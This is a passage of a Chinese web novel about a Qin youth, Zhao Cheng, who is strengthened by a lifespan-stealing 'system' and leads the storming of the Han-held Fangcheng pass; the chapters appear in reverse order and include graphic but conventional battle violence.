风吹乱了他干草一样的头发,他的视线越过城头远远看去,已经看到秦军主力向着隘口奔袭而来。
大军压境,如乌云压城。
韩明心知南麓的秦军很快就会杀到,配合秦军主力里应外合,隘口守无可守。
他立刻站起身来,目光中透着决绝,“走!”
“起军杀向南麓,我要看看什么样的少年煞星能以二百攻城两千!”
“若真有此人,我将他杀了,也不算一无所获,好歹绝了秦国一尊未来猛将!”
他留下一些兵力死守隘口,拖延秦军主力。
自己则是带着三千人杀向南麓。
……
蒙武远远看着方城动向,虽然韩明极力隐藏,但隘口的细微变化却逃不过蒙武的眼睛。
短短片刻间,蒙武已经看出韩明意图。
他看了一眼南麓方向,“看来韩明已经得了消息,如今怕是要失心疯了,想要和蒙恬一部鱼死网破。”
“如此心性,也敢自称名将?”
他挥舞令旗,“全速进军,用最快的速度拿下隘口,追击敌军!”
“北边如何了?”
“北边已经开始攻坚,但遇到了激烈抵抗,恐怕还要一个多时辰才能拿下北麓。”
蒙武轻松笑着,“一个多时辰……隘口的阵旗都换了一遍了。”
他微微摇了摇头,谁能想到,竟有人能凭二百人攻下两千人守卫的城墙呢?
若非如此,那韩明也不至于失心疯了。
光是想想现在韩明的反应,蒙武就忍不住的有些想笑。
……
“报!韩军主将带着近三千人马向着咱们这边杀过来了!”
蒙恬眉头一挑,“这家伙失心疯了?”
“被父亲灭了两千伏兵,又被咱们兄弟灭了两千多守军,他还领三千来打,那隘口不要了??”
蒙恬眼睛一转,立刻下令停军。
“结阵固守,大军用不了就会攻破隘口,对方已经是瓮中之鳖,此时来袭,只会拼死反扑,只要断其破釜沉舟之势,再前后夹击,可轻松败之!”
赵诚听着,心中暗赞应对之妙。
对方败局已定,此时率军杀来,将士心知必死,退无可退,反而会爆发极大斗志,自己这边就算能够打过,损失也不会小。
但只要结阵固守,对方只会越来越急,气势越来越低,大军一到,自然轻松灭掉。
又学到了!
蒙武沉静指挥,队伍阵型严密,以逸待劳。
没过多久,远处墙道之上,已经见到大批韩军奔袭而来!
韩军主将韩明远远一看那严整军阵,差点气得吐血。
他要和对方拼了,但对方根本不给机会!
那阵型严密得跟个王八似的,南麓守军的长矛和盾都被他们利用起来了,就等自己这一部冲上去挨打呢!
韩明激怒攻心,知道留给自己的时间不多,于是不管不顾,直接下令。
“杀!”
大批韩军冲上前去。
蒙恬却丝毫不急,只待对方进了射程,便下令齐射!
咻咻咻!
箭落如雨,韩军立刻倒下一片!
而其中,更有几道箭矢如同飞雷一般,势大力沉,一箭射来能够轻松穿过前面韩军的咽喉,一穿而过,连续射穿三四人才力竭!
几箭下去,便是倒下一片!
正是赵诚射出的箭!
如此正常的射程之内,他的强弓和力量就彻底显现。
一箭下去,前面的韩军就像是糖葫芦似的,一穿就是一串!
他开弓速度又是极快,行云流水间,一箭接着一箭,往往其他人才射出一箭,他已经射出四五箭了。
韩军一时死伤惨重。
赵诚的弓如惊雷不断炸响,很快,韩明的目光便将其锁定!
见其浑身浴血,伤势无数,却还能开重弓,箭出如山,不由得阵阵心惊。
难不成王勇说的是真的?世上真有如此天生神将?
可为何不生在韩而生在秦,难道天命在秦乎?
韩明眼中涌起浓浓杀机,死死盯着赵诚的身影。
而此时,墙道之上,已是两军相接!
韩军虽然在冲阵时被射杀了许多人,但是如今背水一战,自然舍生忘死,杀入秦军阵中,竟然不落下风!
而秦军数量相对较少,在蒙恬的指挥下却有条不紊,前锋以长矛御守还击,打出缺口,后军配合切入,如刀锋一般切开军阵!
其中,更有赵诚一马当先,如猛虎入羊群一般杀入韩军之中,剑出如风,锐不可当,所过之处,韩军头颅不断飞起!
这一次比之前那一战爽多了,也轻松多了,双方兵力相差不多,赵诚不用一个人抵住太多压力,在军阵之中实在游刃有余。
甚至还有心思关注系统夺寿的数量。
【你击杀了一名敌人,夺寿九年!】
【你击杀了一名敌人,夺寿三十年!】
【你击杀了一名敌人,夺寿十一年!】
……
“妖魔乎!?”
“怎么杀不死!”
“他怎么冲到这里来的?”
赵诚迎着汹涌军势,杀入敌阵深处,所过之处,如同割稻子似的,一片片的韩军不断倒下。
一开始还舍生忘死的韩军,见到如煞神阎罗一样的赵诚,踩着无数尸体杀到军阵中央,甚至快要杀到眼前,顿时军心动摇,有人开始后退。
远处韩明越看越是心惊肉跳,心中震骇不已,王勇竟然没有说假话,秦军之中真有如此煞星!
他的眼中杀机愈发浓烈,看着所向无敌的赵诚深入阵中,下令将其射杀!
他身边的几名精英弓手立刻开弓,想要射杀赵诚!
但那准头,实在堪忧。
他们身处后方,如此距离,再加上乱战,根本没法准确射到赵诚,反而误伤了好几个友军。
就算偶尔有一两道箭落到赵诚身前,也已经没有了什么力量,被赵诚一巴掌就打飞掉了,完全没有威胁。
韩明大怒,“废物,都是废物!拿我的弓来!”
他拿起他的强弓,想要射杀赵诚,但也察觉到自己处于后方,乱战之间很难锁定赵诚,于是向前走去,却被副将拉住。
“将军,不可啊!”
“您是主将,怎可以身犯险?”
韩明将其一把甩开,“此子不杀,我死不瞑目!”
“让开,我亲自来!”
他借着军阵遮掩,又有亲卫副将顶在身前,想要上前放冷箭射杀赵诚!
战场混乱,他对自己的箭术又非常自信,只要给他足够距离,他有极大把握射杀赵诚!
近了,更近了。
只要再近一些,把握足有九成!
韩明死死盯着赵诚,在亲卫和副将的保护下,在军阵中悄然向前。
副将额头青筋都在突突直跳,对方那煞星的凶恶他是看得清楚,这个距离实在太危险了!
但韩明不管不顾,已经开弓搭箭,死死锁定那军阵之中四处冲杀的少年修罗!
他双目血红,屏息凝神,死盯赵诚,将强弓拉得犹如满月,在强烈的杀机之下,他的手臂竟然出奇的稳定,好似爆发了某种潜力。
但突然,那满脸鲜血的少年豁然抬头,对韩明咧嘴一笑。
这一笑,犹如暴虎前伏露出獠牙,汹涌杀机扑面而来!
韩明心头暴跳,背后竟然瞬间沁出冷汗,手一抖,箭矢已经电射而去!
然而一同电射出去的,还有赵诚!
在韩明的箭矢离弦的瞬间,那少年修罗竟也如同离弦之箭一般,爆发无边猛力,如猛虎下山一般接连撞飞数人。
冲坚折锐,切开军阵,直扑韩明!
第18章 少年煞星
人们对于无法理解的存在,总是充满敬畏。
对于赵诚的神勇,众人无法理解,但不妨碍他们敬畏赵诚,愿意追随赵诚。
这少年杀了那么多的敌人,第一件事不是统计自己的战功,而是统计战死同袍的姓名,并立下承诺,亲自安排保护他们的家人。
这击中了这些汉子们心中最柔软的地方,日后还有这样的血战,他们也心甘情愿随赵诚赴汤蹈火。
他们嘴上虽没说什么,心里却已经认定了这件事情。
毕竟不是哪一个将领,都可以在被围剿血战时死战不退,一人顶住最大的压力,还拼命救援手下的。
如此作为,如此担当,赵诚的承诺,怎能不信?
远处,韩守军节节败退,很快损失惨重,如潮水一般溃逃,将方城南麓彻底让了出来,而蒙恬令千余轻骑继续追杀,自己则是第一时间赶了回来,看到赵诚浑身鲜血淋漓,不由得心头一跳。
这小子还能直直站着,不会是回光返照吧?
“阿诚,你……可还能坚持?”
赵诚摆了摆手,冲着蒙恬咧嘴一笑,“我没事,兄长,诚,幸不辱命!这先登之功,我拿下了!”
蒙恬大为愧疚,“是我的错,害你中了埋伏。”
“埋伏?”赵诚一愣,“方城南麓的守军不是这么多吗?”
蒙恬摇头,“韩守军有所预料,所以提前调了更多的兵力来此埋伏。”
赵诚恍然,“我说怎么杀不完。”
蒙恬哭笑不得,“也正因为此,你这先登之功比正常的要大得多!”
“这一下,直接打乱了韩守军的计划,甚至打瘸了对方的一条腿,这是拿下隘口的最关键一战,咱们占了南麓,等于将攻城损失,降低到了最低!”
“一会合军,攻向隘口,只要拿下,你便是此战首功!”
赵诚摇头笑道,“不敢当,是兄长运筹帷幄。”
“别提了,我也中了埋伏,幸好父亲提前布置了后手,不然怕是损失不小。”蒙恬惭愧,转了话题,“杀了多少人?”
赵诚看着周围堆的到处都是的尸体,挠头道,“没数。”
蒙恬无语。
众突骑锐士也是无语,这凶神杀得实在太多了,数也数不过来。
还是冯全站出来道,“无妨的大人,你不记得,我们自己是记得的,除开我们自己的,和战死同袍的,就全是你的。”
“战死同袍的您也不用担心,各什长伍长都会记得,军功是大事,不会出错的。”
“明白了。”赵诚点点头,又看向蒙恬,“兄长,接下来咱们做什么?”
蒙恬看了看周围,“这片区域已经完全被我们占领,方城隘口的防守已破,一会儿我率兵攻上隘口,和主力大军里应外合,便是瓮中捉鳖。”
他看着赵诚身上满满的鲜血,还有大大小小密集的伤口,不由得有些心惊肉跳。
“你如今所立之功已经冠绝全军,尽快回营找人医治,万万不可逞强!”
赵诚自己的身体自己知道,此时他身上伤口确实非常密集,但都是一些皮外伤。
他那铁皮一般的皮肤,在如此剧烈强度的冲杀破阵之中,被数之不尽的刀剑加身切出了大大小小数百道口子,就连里面的筋膜也撕裂了少许。
没办法,这样冲阵的战斗实在是太激烈了。
韩军密集,在重赏之下不要命地往赵诚身上招呼。
都是戍守在一线的成年大汉,全力以刀剑劈砍,就算是铁锭,被这么多人一人砍一剑也要崩得稀碎。
何况赵诚挨得不止一人一剑,可能是一人两三剑,甚至更多!
滴水尚能穿石,无数士卒发了疯的劈砍叠加起来,也是非常可怕的。
赵诚低头看了看自己的身躯,摇了摇头,“无妨,轻伤不下战场,我还能战。”
蒙恬都不知道说什么好了,你管这个叫做轻伤??
他虎起脸来,命令道,“听我的,立刻回营医治!”
赵诚无奈,提起手中长矛,朝着脚下大石方砖狠狠一插!
咔!
长矛瞬间锥入石砖墙体,没入一半,石砖瞬间开裂,以插入的长矛为中心,无数裂纹蔓延开来。
“兄长,我可像是重伤之人?”
“这等小伤不足挂齿,我依然能做前锋,破敌擒将!”
蒙恬身后的几名轻骑百将看得眼睛差点瞪出来。
如此惨烈血战过后,竟还能有如此力量,神人乎!?
这是他们第一次见到赵诚的恐怖,很难不惊为天人。
蒙恬也是又震惊又是无奈,这小子实在不像个人,倒像个人形暴虎!
“那好吧,但你要去,就跟在我身边,如果有什么情况,我也好立刻安排。”
“得令!”
蒙恬又看向那伤势不算严重的长脸百将,“百将常万,带领受伤的弟兄们回去医治!”
“是!”
受伤的突骑精锐们看着赵诚,神色有些复杂,有心跟随,但他们是真的打不了了,一个个都受伤不轻,而且体力消耗巨大,此时再参战,根本发挥不出多少战力。
只有他们这些经历过这一战的,才知道此时赵诚还站在那里、甚至还能够继续参战的含金量。
这完全是个铁打的战神啊!
“其余人随我走,占领方城隘口!”
此时上千良驹都已经登上城墙,沿着城墙上的马道,向着隘口方向奔袭而去,蒙恬依然是一马当先,在其侧方,便是满身鲜血,杀气四溢的飞骑赵诚!
……
“报!”
一突骑斥候飞骑入营,来到蒙武身前,汇报军情。
“斥候前锋在南麓登城中伏,韩守军在南麓埋伏了近两千人……”
蒙武闻言脸色不变,心中却是暗叹,可惜了那天赋异禀的少年。
没有作战经验,一次冒失便是殒命的下场,这就是战场。
慈不掌兵,这念头只是一闪而逝,蒙武的脑海之中已经开始推演接下来的兵力和战术,准备排兵布阵,配合北路轻骑破开隘口。
却听斥候语速极快地继续说道,“斥候前锋赵诚一人抵住上千韩军,率领百余突骑精锐,强行占领南麓一角,坚持到蒙恬五百主赶到,我军大破南麓守军,只余小股韩兵溃逃进入山林……”
“嗯?”
蒙武脑海之中的军阵瞬间被打乱了,他认真看着斥候,威严气息如山弥漫。
“军中无戏言!你再说一遍,赵诚率百余突骑占领了南麓一角?”
斥候斩钉截铁道,“千真万确,我等到时,战况异常惨烈,前锋赵诚浑身浴血,领百余人与韩军对冲强杀,死战不退,在南麓占领了一片区域,我来报时,韩军已经溃败。”
蒙武微怔片刻,合掌大笑起来,“彩!!”
“天生神将,锐不可当!”
“任那韩明想破头也想不到,他当做突破口的南麓妙手,被一个少年给破了!”
“如若不然,我还要稍微废些功夫,这下好了,韩明已是瓮中之鳖,隘口可破!”
他抬手挥舞令旗,军令传出,早已严阵以待的攻城大军直奔隘口!
……
“报,将军!方城北麓有敌军突袭,我方北麓兵力不足,最多只能坚持两个时辰了!”
韩明看着眼前的士兵,并不慌张,“无妨,本将早有安排,两个时辰足够了。”
韩军军力薄弱,此地驻守的兵力并不算多,只有一万余人,但却都算是韩军精锐。
如此兵力,他从一开始就没打算一直守住隘口,但却可凭借易守难攻的方城隘口,极大杀伤秦军力量。
秦军若攻,便要被他狠狠啃下一大块肉。
若不攻,方城隘口便是他们的一根肉中刺,不论是攻向叶县还是挺进南阳,方城都是悬在他们背后的一把刀,能让他们如芒在背!
此时局面已经清晰起来,韩明脸上露出一丝笑意。
“既然北麓猛攻,那么南麓便是佯攻,我提前设伏的两千精锐守军,再加上派去绕后的轻装步兵围杀,足可彻底吞下对方的佯攻之兵,最终汇合,支援北麓,秦兵哪里讨得了好?”
韩明心情大快。
在他看来,那派往河谷之中的两千兵力,此时应该已经配合南麓守军,将佯攻的蒙恬一部全部围杀了。
南麓大胜,士气如虹,足可支援北麓,凭借有利地势,轻松击退秦军在北麓的进攻。
以如此兵力,打出这样的漂亮仗,可谓是以少胜多的典范。
韩明自己也不由有些自得。
正这时,南面墙道之上,一浑身染血,身后中箭狼狈无比的韩军守将奔马而来,身躯摇摇欲坠。
韩明见状顿时脸色一变,“王勇?”
“你不在镇守南麓,怎么弄成了这样!?”
奔马迅速到了近前,脸色异常苍白的王勇翻身下马,扑通跪地,双目血红,面色悲切。
“将军!南麓……失守!我军大败!”
韩明眼前一黑,身子摇晃差点摔倒。
他咬牙切齿问道,“我提前设伏,更有援军围杀,怎会如此?!”
王勇咬牙,羞愧难当。
他嘴唇颤抖,艰难开口,“那攻城秦军之中……出了个少年煞星,竟……竟领着二百余人攻上城墙,四面冲杀!”
“我以上千守军退之,哪成想,这煞星力大无穷,奔如虎豹,更好似刀枪不入,体力不竭。”
“他以一人之力,竟可抵千军猛攻,杀了我军上百人依然不见丝毫疲态,向前冲杀,锐不可当,无论怎样都杀他不死!”
“如此血战半晌,不但没能将他赶下方城,反而被他硬生生占下了一片区域……”
第17章 一人抵洪流
只见赵诚一个人冲入敌军洪流,深陷敌阵,一人当关,顶住了不断涌来的敌军洪流!
而敌军正在一拥而上,将他死死围住,无数刀剑加身!
他浑身是血,向下淌落,依然死战不退,手中的青铜剑几乎挥出了残影,斩落一个又一个人头,甚至连敌军的刀剑都被他一剑砍断!
他的战甲已经破碎开裂!
他的长剑已经卷刃变形!
但他死战不退!
更让冯全等人心中发凉的是,对方的刀剑也在不断的砍落在赵诚的身上啊!
怪不得守军越杀越少,全特么被什长一个人挡住了!
这真他娘的是猛将,一个人顶着上百个人杀,挨了这么多刀,还能死战不退!
“尔母婢也!什长!!”
冯全红着眼睛不管不顾冲了上来,疯狂劈砍,“滚开!都他娘的滚开!!”
“杂种!”
其余突骑精锐此时也都被这一幕震撼,一个个红着眼睛,开始发了疯!
“杀!!杀了这群狗杂种!把队锋捞出来!!!”
韩军本来就被赵诚吓得不轻,此时秦军精锐们又发了疯,战力简直是翻了个番!
竟然瞬间就被杀退了!
赵诚杀着杀着,突然发现冯全出现在了自己身边!
然后是都仁!
封若!
一个又一个叫得上名字或者叫不上名字的同袍杀到了自己的身旁,与自己一同向前拼命冲着,他心中气血腾腾涌起!
这就是共赴死的战友吗?
不过我特么死不了,你们是真他吗的会死啊!
他一把将冲深入了,差点被砍死的冯全拉了出去,而后撞身顶了上去!
“说了我为前锋,都到我后面,随我冲杀!”
赵诚声若虎吼!
如剑锋一般狠狠切入阵中,原本混乱的阵型瞬间有了纪律,众精锐紧随赵诚身后向前冲杀,如一把锥子刺入敌阵!
方才那一刻,他们才真切感受到赵诚承担的压力。
四面受敌的感觉,不好受。
就算是他们这等身经百战的家伙,依然在眨眼之间就受了不小的伤!
难以想象,那以身为前锋的少年,承担了多少压力,浑身又有多少伤势!
但他依然如洪流中的砥柱,挺立向前!
韩军被他们一层层的杀着,然后数百人的守军,足以将方城上面的阵地涌满,前赴后继的冲来,好似杀不完一般!
砍死一个,还有一个!
前面的刀剑掉落,后面的刀剑再次递出。
赵诚的剑已经卷刃,如同一根棍一般,但每次出手,依然将人头颅砸爆,或脖颈碎裂,或胸骨塌陷!
他已经明显感到,此时自己面对的不是一人之力,而是军阵之力,如洪流一般前赴后继,源源不绝。
此军伍壮士,一人就算只有五石的力量,叠加五人,就有二十五石!
更何况不止五人,他作为前锋,要同时面对七八个人甚至更多,更何况后面还有不断发力涌来的后援!
力力相抵,刀刀叠加!
他的体力都在快速消耗,若非提前推演了一拨,实力大进,现在已经死了好几回了!
好在身旁还有战友,不过情况不太乐观,敌方比想象的多,算上后援恐怕有上千人,己方阵型在收缩,对方正要形成合围之势!
自己倒是可以在力竭之前拼杀出去,这些同袍怎么办?
赵诚咬牙一把抓住一个半死不活,却冲来要抱住自己腰身限制行动的敌军头颅,抬膝一顶,将其鼻子都直接顶到脑子里去了。
而后狠狠一扔,直接将前方守军砸倒一片,这才回身支援都仁,一脚将举剑刺杀都仁的敌军踹飞,连其后三人同时砸下城头!
但很快,又有新的韩军再次涌现上来,阵型再次收缩。
赵诚余光中,看到有突骑锐士胸腹中剑,血流如注间,抱着三个敌军冲下了城墙!
他咬牙爆发,拼命向前顶去,一边杀,一边踹,将敌军的尸体当做石头砸向敌阵,延缓敌方冲来的攻势。
韩军冲势稍缓,与此同时,赵诚听到敌阵深处韩守将的嘶吼声,“击杀敌方前锋,赏千金,升三级,赐田千亩!”
“杀敌一人,赏十金!”
“退后一步,全家连坐!”
“他已是强弩之末,杀了他!”
韩军也发了疯,大量人拼命冲向赵诚,其余人也再不后退,合围之势再起!
“哈哈哈,来啊!!”
赵诚张狂大笑,面色却狰狞无比,再次如猛虎扑入敌阵!
“他娘的!!”下方指挥射箭掩护的百将看着那道如锋拼命切入的血影,咬牙喝道,“前锋已先登方城,咱们杀上去,支援同袍!”
“都跟老子上!!”
这时候还管什么他妈的风险,死了也不能在下面看着!
一行六十人迅速攀援上去,在赵诚一众后面,迅速前冲,冲破敌方合围,形成强有力的新力量,迅速接替已经渐渐力竭的队友,将他们掩护在身后,可以稍作休息!
赵诚此时已经换了三把刀,吐气如箭,筋骨如铁的身躯依然长枪般挺拔,不知疲倦的挥剑,挥剑,再挥剑。
杀,只有杀!
墙下陆续有其余突骑脱身赶来,一言不发的登上城头,杀入阵中,顶替同袍……
……
方城隘口。
韩守将韩明远远看着秦军直逼叶县,思来想去,最终还是出兵了,两千轻装步兵向北而去,走出没多远,方向一变,却不是支援叶县,而是轻兵急行军,直奔河谷西侧密林。
……
河谷西侧,蒙恬率领千余轻骑持续奔袭,沿途看到许多敌方斥候的无头尸体,皆是整队暴毙,他一眼看出是谁的手笔,不由得大为欣喜。
“诚弟好勇武!”
“加快速度,准备支援前锋,登城强攻。”
正在这时,两侧林间,突然传来窸窣声响!
随后箭落如雨,立刻有人翻身落马!
“有埋伏!”
“还击!”
蒙恬虽惊不乱,冷静指挥着千余轻骑应对,但一颗心却不断下沉。
对方竟然在这里埋伏了军队,那岂不是说,已经猜到他们要奇袭南麓?
糟了,赵诚怕是要中埋伏!
兄弟,你可千万不要登城啊!
蒙恬稳定指挥着轻骑突围,正这时,后方竟然又有两千骑军冲来,蒙恬吓了一跳,却发现来的是援军!
他眼睛一亮,笑了起来,“是父亲的后手!这下好了,反包了他们饺子!”
援军迅速围拢,将那慌乱想要逃走的韩军全部包围。
一名校尉上前来到蒙恬身前,“将军命你继续奔袭南麓佯攻,我等解决战斗之后,直奔方城北侧,若敌方在南麓设伏,北侧必然兵力不足,若不设伏,你佯攻之后,敌方也会调兵支援,我也可趁机攻破北侧,配合主力攻破隘口!”
“蒙恬领命!”
蒙恬领命之后,脸上涌现焦急,马不停蹄的带人直奔南麓。
眸中尽是担忧之色。
……
方城南麓,鲜血沿着墙体留下,腥风铺面。
一百余突骑精锐以赵诚为锋,如洪流中的不倒砥柱,死战不退。
每时每刻都有人死去。
生死一线在每一个角落上演。
直至,远处有马蹄如雷连绵响起。
千余轻骑直指城下!
蒙恬率千骑迅速逼近,他身上带伤,脸色焦急,他已经知道,敌军既然提前设伏,必然在方城南麓也有埋伏,他担心赵诚会因为他那句先登之功而强攻登城!
即将抵达南麓,远远看去,他的心顿时凉了半截,真的攻城了!
只见那方城之上,满满当当全是韩军,何止千余?
对面墙下还在不断涌上,敌方在此地埋伏了上千人!
而赵诚此去,只带了二百精骑!
完了!
然而随着方城南麓越来越近,蒙恬的脸色也逐渐从懊悔变得震惊!
只见那洪流一般的韩军竟被一小股军阵抵住,在无数韩军遮掩下,那小股军阵如此微小,却又如此坚不可摧。
其中秦国军阵前锋,有一道血人身影锐不可当,非但不退,竟然还在顶着无数韩军向前冲杀,一人抵住大半攻势!
硬生生将方城南麓占领出了一片可供登城的区域!
蒙恬张大了嘴,不由自主的浑身战栗起来,声音都有些颤抖。
“战神哉!?”
他眸光大亮,意气飞扬,拼命策马,率领千余飞骑迅速奔袭城下,而后借着赵诚占领下来的那片区域,迅速登城!
大股秦国精锐迅速加入战场,立刻打的韩军节节败退!
赵诚一众压力一松,任由蒙恬带人接管战场,不少精锐突骑立刻躺倒在地,大口的喘着粗气,感觉又特么从鬼门关爬了出来!
不少人哈哈大笑起来,也有人看着同袍尸体默默红了眼眶。
赵诚依然挺立如松,鲜血顺着他残破的战甲淌落,眼神扫视之间,如血的杀气好似凝实一般。
“冯全!”
“属下在!”冯全一瘸一拐的站起。
赵诚说道,“统计战死同袍,将名字给我。”
冯全心中一热,说道,“大人放心,我秦国绝不亏待战死的烈士亲眷!自会有人……”
赵诚决然道,“官府如何抚恤是他们的事情,把名字给我。”
“只要我一日不死,他们的父母弟兄,妻儿子女,便决不会受人欺负,我一力护之。”
众人静静看着这个浑身浴血,挺立如松的少年,眼中有洪流般光彩涌动。
他们这些人,随这少年冲杀,却也受其庇护,才能活到现在。
不止一次的,他们看到敌军朝着自己冲来,自己无力反击时,那道身影以血躯抵在最前,为他们顶住压力,让他们能缓口气,夺回了活下来的机会。
如此猛人,日后不死,必能封侯拜将。
如此担当,他说要护,岂是玩笑话?
冯全想笑一下,没有笑出来,只能低下头深深行礼,遮住了发红的眼睛,“是,大人。”
“今日之后,全愿以命相随,绝不背弃!”
许多汉子挺着伤躯站起,也没有说话,却站在冯全身后,与他一样朝着赵诚深深肃拜。
强风掀起血气,扫过横尸无数的方城南麓,百余浴血硬汉静默着,弯腰行礼,久久没有起身。
第16章 先登之功
方城南麓,一队巡逻士兵自墙道之上行过,甲胄撞击,发出沉闷声响。
密林之中,赵诚迅速伏身,隐于阴影之中。
同时,他的全身骨骼一阵剧痛,而后如同换骨一般,密度极速增加,眨眼之间,已经变得如同精钢一般坚不可摧。
他感觉就连身体都好似沉重了许多,更有一种力量不断解封的肆意之感!
此时骨骼之坚,足以让他肆无忌惮地发挥全部力量,而不用担心骨骼承受不住力量而碎裂!
至此,他真成了名副其实的“铁人”!
身体的变化没有让赵诚有一丝颤抖,他屏息凝神,目光锁定望向这边的巡逻士兵,缓缓开弓,一旦对方露出异色,他便立刻射杀。
好在阳光明亮,阴影之处在光芒的衬托下越发黑暗,人迎着强光往往更看不清楚暗处的事物,所以巡逻队渐渐远去。
赵诚无声松弦,继续向上攀去。
寿命推演还在持续进行。
【第三百零一年,你踏入炼皮大关,你觉得炼皮没用,但基础炼体法说得很清楚,想要肉身无缺踏入更高之境,只能将皮肤也练至圆满才行。】
【第三百一十年,你最瞧不起的炼皮之关,竟然是最难炼的,即使你精通气血搬运之法,依然炼了十年也没有太多进展,你觉得性价比太低了,但也没有其他选择。】
【第三百四十年,炼皮进展竟然越来越慢,你开始急功近利,尝试用打磨之法促进炼皮进度,结果误入歧途……】
【第三百七十年,你终于找对了道路,你发现身上常年农作训练产生的老茧开始退去,肌肤渐渐光滑晶莹,竟变得白嫩起来,你炼皮之路开始入门!】
【第三百八十年,你的皮肤变得莹莹如玉,你的毛孔通透,你感觉自己好像可以控制毛孔张开,甚至以此呼吸,你开始认识到了炼皮的必要性……】
【第四百年,你的皮肤韧性大幅度提升,如同牛皮一样,你隐隐悟到炼皮之中藏有大玄妙,你越发勤恳修炼,炼皮踏入小成之境!】
【第四百七十年,你的皮肤看着柔嫩,实则已经坚韧异常,简直如同铁皮一般,青铜剑刺在上面也不会受伤,你炼皮踏入大成之境!】
【第四百九十年,你周身皮肤通透,好似能够过风,浑身气机都在这皮肤之间游走,此时你就算不通过口鼻呼吸,依然能够长时间奔行如雷,而不需要喘息……】
【第五百年,十年来你通过皮肤呼吸,感知天地,你隐隐感受到了天地之间,亦存在着某种气机,它流淌在你的皮肤之上,在你周身呼吸之间,融入你的身体之中,你怀疑那是天地间的灵气,对此大为震惊……】
推演戛然而止。
而赵诚染血的手和脸庞,则迅速开始变得润白如玉,幸好之前沾染的鲜血已经开始变得暗红,不然这变化也太显眼了一些。
与此同时,赵诚感觉全身上下好似有一层又一层的油膜在脱去,又好似在深水之中,窒息地破水而出,他的毛孔大开贪婪地吸收着空气,他的身体在迅速变得轻盈而通透。
风吹在身上,透过衣服,好似能够吹拂到他的五脏六腑里面一样,甚至能够从身体前面,吹透到后背去。
这种感觉,异常的清爽玄妙。
就像是之前一直在套着一层塑料膜生活,以前觉得正常的感觉,现在回想起来竟然有些窒息。
一股股说不清道不明的冥冥气机,若隐若现的流淌在他的肌肤上,他想要抓,却抓不住。
“现在不是探寻气机的时候。”赵诚迅速屏蔽掉这种美妙的感觉,转而测试身体皮肤的强度。
趁着后面的冯全没有注意,他以箭锋戳在手掌之上!
没有感觉。
他微微发力,渐渐感到一些戳痛感,但也仅此而已,依然没能破防。
他持续发力,直到箭矢尖锋微微变形的时候,才感到一些刺痛,皮肤上面出现了一个血点。
赵诚得出结论,说皮肤刀枪不入可能有点夸张,但是已经比牛皮坚韧许多倍,寻常刀剑难以破防是真的。
“这样一来,就算是大动脉的血管也有了皮肤保护。”
“皮肤,肌肉,筋膜,骨骼构成四层防御,足够我登城拔寨,在敌阵之中冲杀来回了!”
体内无与伦比的力量感如火山即将喷发一般蓄势待发。
这具身体从骨头到皮肤,每一个角落他都拥有着极致的掌控,强大的力量让他可以随心所欲的操控这具坚不可摧的身体,这种极致掌控的至高权柄,让赵诚心中底气大增。
他向前的速度更快,身体也已经灵活到了极致,双脚看似踩在枯枝枯叶之上,实则是以手抓住树干前行,能够连一点声音都不发出,一点痕迹都不留下。
随着靠近方城南麓,众人的精神越发紧绷,全都屏息凝神,牙关紧咬,眼睛睁得极大,死死地盯着城墙上面的守军。
离得越近,被发现的风险越大。
必须小心再小心,一点点风吹草动,都可能引起守军的注意!
近了,更近了!
五十步,三十步……
众人的动作越来越慢,身子越伏越低,眼睛因为长时间凝视而出现血丝,但却不敢眨眼……
二十步,十步……
站在城墙上面的那名守军的胡须已经清晰可见。
正这时,观察敏锐的冯全突然发现前方的赵诚速度更快,但是其脚下的枯叶竟然没有被踩扁??
怎么会这样?
惊讶间,他脚下一棵枯枝断裂,发出咔嚓声响!
所有人心中咯噔一声,心道完了!
果然,墙上那名守军同时向下看来,但在他目光落下之前,赵诚迅速抬手,一枚箭头被其当做暗器掷出,径直没入那名守军的咽喉!
见血封喉!
“呃!”
守军来不及看清楚赵诚等人,就失去力量向下倒去。
赵诚身如鬼魅,如风一般冲到墙下,脚尖在墙壁上点了几下,手掌一拍,便如同飞一般登上了方城城墙,人在空中,左右开弓!
咻咻咻!
弓弦炸响之间,左右前后不断有韩守军倒下!
同时,韩守军大乱,惊呼声四起,更有反应快的举弓反射,墙上守军何其多也,一时间箭落如雨!
这一切发生在一个眨眼之间。
冯全亡命向前冲去,脖颈之上青筋暴起,嘶声暴吼,“杀上去!!”
因为他的失误,什长大人冒险提前登城,身临重围险境!
这一刻,他已经忘了生死!
竟然也如同个暴怒的小豹子一般,窜到墙下,在墙壁和树干之间反复蹬了两下,第二个冲上了城墙,挡在赵诚身边!
其后精锐突骑们动作也是极快,或蹬墙攀援,或攀藤附葛,如同潮水一般涌上城墙。
更后方,长脸百将也顾不得许多,一跃而起,“兄弟们,弓箭掩护同袍!”
火力支援,一时间打乱了韩军围攻赵诚的节奏!
韩军很慌,很乱!
城墙上不断涌现的敌军精锐让他们始料未及,有人还在开弓,就被突然窜上来的精锐突骑迅速斩杀。
阵型混乱,短兵相接,箭矢已经无法起效。
于是韩军集结兵力抵杀秦军,想要将他们赶下城墙。
但赵诚已经如同凶虎下山一般冲杀起来,他奔行如雷,手中青铜剑所过之处,头颅不断飞起!
他一个人,迎着上百韩军压来的洪流冲去,逆流而上!
一开始韩军还仗着人多的胆气,一起对他出手,但一靠近他七步之内,便已经被阎罗盯上,眨眼之间,脑袋就会搬家!
最让韩军肝胆俱裂的是,这家伙砍不死!
他们不知道队友多少次以长剑劈砍在这家伙身上了,连那家伙身上的青铜甲都被砍得崩裂,但是这家伙竟然还是生龙活虎。
如同一个怪物一般冲杀上来,抵着刀剑加身,不管不顾地上前,一刀将一个兵卒生生劈成了两半!
怕了!
鲜血四溅喷洒,洒了旁边的韩军一身一脸,也洒了赵诚一身,将他浑身上下染得血红,只有那双散发着无尽煞气的凶眸依然明亮,散发摄人光亮!
前面的韩军胆子都快要被吓破了!
“凶神哉!”
“后退!后退!”
“杀!!”
“怯战者斩!”
前面的害怕的想要后退,但是后面的没有看到前面的情况,还在拼命上前涌!
更可恶的是,守将赵勇还在喊怯战者斩!
怯战者斩我能不知道吗?
但特么不怯战必死,怯战还可能跑掉,当个逃兵!
你特么不怯战,你倒是上前面来啊!
前面的韩军一边双腿哆嗦,一边咬牙切齿!
咬牙切齿间,那凶神已经再次砍翻了一队兵卒,拖着剑就冲了过来,那压迫感,韩军看着他就好像看到了一只小山般的猛虎扑了过来,有人直接就吓跪了,被赵诚一剑枭首!
而此时,不断被收割的兵卒们也意识到了跑不掉,反而激起破釜沉舟之心!
“他已经深入敌阵,咱们一起出手,一定能杀了他!”
